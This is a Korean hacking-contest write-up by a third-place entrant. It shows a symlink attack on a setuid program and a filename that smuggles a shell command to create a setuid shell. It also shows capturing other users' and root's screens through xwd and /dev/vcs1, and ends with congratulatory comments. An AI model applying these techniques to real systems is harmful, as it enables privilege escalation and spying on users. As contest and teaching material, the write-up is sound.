::: 다음은 이번 제 1회 Hacking The Linux Contest에서 3위를 차지한 djNmc 님의 공격 보고서입니다. :::

1. 리모트 어택

포트스캔을 한 후 8888번 포트에서 아이디와 패스워드를 알수 있었다.


ID : guest PW : welcome 임을 알아냄.

2. walwal 계정 획득.

 

 

bash2-2.05a$ find / -user walwal 2>/dev/null
/var/spool/mail/walwal
/etc/sysconfig/network-scripts/.hidden/GUTAPASSWD.TXT
/bin/SolveMe/HackTheNose.txt
/bin/SolveMe/walwal
/home/walwal

sh-2.05a$ ls -al /bin/SolveMe/
total 28
drwxr-xr-x 2 root root 4096 Aug 16 08:42 .
drwxr-xr-x 3 root root 4096 Aug 16 21:31 ..
-rw-r----- 1 root walwal 143 Aug 16 08:38 HackTheNose.txt
-rwsr-sr-x 1 walwal walwal 14122 Aug 16 08:38 walwal

[guest@localhost Xtreme]$ strings walwal
/lib/ld-linux.so.2
libc.so.6
fgets
malloc
__deregister_frame_info
sprintf
fclose
fopen
_IO_stdin_used
__libc_start_main
__register_frame_info
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QVh
./HackTheNose.txt <--

 


strings로 walwal파일을 보니 ./HackTheNose.txt라는 문장을 볼수 있었다.

 

 

sh-2.05a$ find / -group walwal 2> /dev/null
/etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT

 


walwal의 패스워드가 저장되어 있는 파일을 찾았다.
walwal이라는 프로그램이 실행하는 디렉토리의 HackTheNose.txt를 읽는다는 가설을 세우고
두 파일을 링크하였다.

 

 

[guest@localhost Xtreme]$ ln -sf /etc/sysconfig/network-scripts/.hidden/WALWALPASSWD.TXT ./HackTheNose.txt

[guest@localhost Xtreme]$ ./walwal
마징가
[guest@localhost Xtreme]$ su walwal
Password :
[walwal@localhost Xtreme]$

 


3. guta 계정 획득.

 

 

[walwal@localhost Xtreme]$ cat >> cs.sh
#!/bin/sh
cp /bin/sh /tmp/xtreme
chmod +s /tmp/xtreme
[walwal@localhost Xtreme]$
[walwal@localhost Xtreme]$ ls
cs.sh
[walwal@localhost Xtreme]$ cd ..
[walwal@localhost tmp]$ ln -s /tmp/Xtreme/cs.sh cs.sh -f
[walwal@localhost tmp]$ chmod 777 /tmp/Xtreme/cs.sh
[walwal@localhost tmp]$ cd ~/
[walwal@localhost walwal]$ cd movie
[walwal@localhost movie]$ date
Thu Aug 18 02:18:10 EDT 2002
[walwal@localhost movie]$ touch 08180112 "\";cs.sh\""
[walwal@localhost movie]$ cd /tmp
[walwal@localhost tmp]$ ls -al xtreme
-rwsr-sr-x 1 guta guta 541096 Aug 22 00:22 xtreme*
[walwal@localhost tmp]$ ./xtreme -p
xtreme-2.05a$ id
uid=1000(walwal) gid=1000(walwal) euid=1001(guta) egid=1001(guta) groups=1000(walwal)
xtreme-2.05a$

 


4. mungmung, wizard 계정 획득.

BOF에 대한 지식이 없기 때문에 전혀 문제를 해결할수 없었다. 그러는 도중 프로세스를 보다가
Hanterm을 띄운 참가자들이 많은걸 발견하였다. 그래서 xwd라는 X 윈도 캡쳐 프로그램을 이용
참가자들의 화면을 캡쳐하였다. 그러는 도중 mungmung계정의 패스워드와. wizard계정의 백도어
위치를 찾아내게 되었다.

 

 

[root@localhost public_html]$ xwd -display IP:0.0 -root -out outfile
[root@localhost public_html]$ convert outfile outfile.jpg

 



5. 관리자 캡쳐 방법.

(1) -가상 콘솔 스크린 파일-

 

 

bash-2.05a$ ls -al /dev/vcs*
crw--w---- 1 vcsa tty 7, 0 Apr 11 10:25 /dev/vcs
crw--w-r-- 1 vcsa tty 7, 1 Apr 11 10:25 /dev/vcs1 <--- 읽기 권한이 있다.
crw--w---- 1 vcsa tty 7, 10 Apr 11 10:25 /dev/vcs10
crw--w---- 1 vcsa tty 7, 11 Apr 11 10:25 /dev/vcs11
crw--w---- 1 vcsa tty 7, 12 Apr 11 10:25 /dev/vcs12
crw--w---- 1 vcsa tty 7, 13 Apr 11 10:25 /dev/vcs13
crw--w---- 1 vcsa tty 7, 14 Apr 11 10:25 /dev/vcs14
crw--w---- 1 vcsa tty 7, 15 Apr 11 10:25 /dev/vcs15
crw--w---- 1 vcsa tty 7, 16 Apr 11 10:25 /dev/vcs16
crw--w---- 1 vcsa tty 7, 17 Apr 11 10:25 /dev/vcs17
bash-2.05a$ cat /dev/vcs1

[ 생략 ]
bash-2.05a$

 


(2) -리눅스의 xwd프로그램을 사용-

프로세스 확인중 root권한으로 hanterm이 돌아가고 있는 것을 발견.

 

 

[root@localhost public_html]$ xwd -display ROOTIP:0.0 -root -out outfile
[root@localhost public_html]$ convert outfile outfile.jpg

 


 

** 입상자에게 한마디!! **

 

 

갈갈이 : xwd가조쿤.. .
linu : 나도 첨 알았다 ㅡㅡㅋ xwd .
linu : index 헤더파일? 조작하셨나? -_- index 근처도 못가본 저로써는..도저히 이해가. .
토시 : 수고하셨습니다.(__) .
w0rm9 : 역시 고수입니다. ( __) .
구르미 : 추카해..카카 ㅡㅡ;씨퐁 ㅡㅡ; ㅋ -_- .
indra : 절땐!!! 밥사-_- 구리미도 밥사!! --; .
peer : -_-; .

 

 

이름 :   내용 :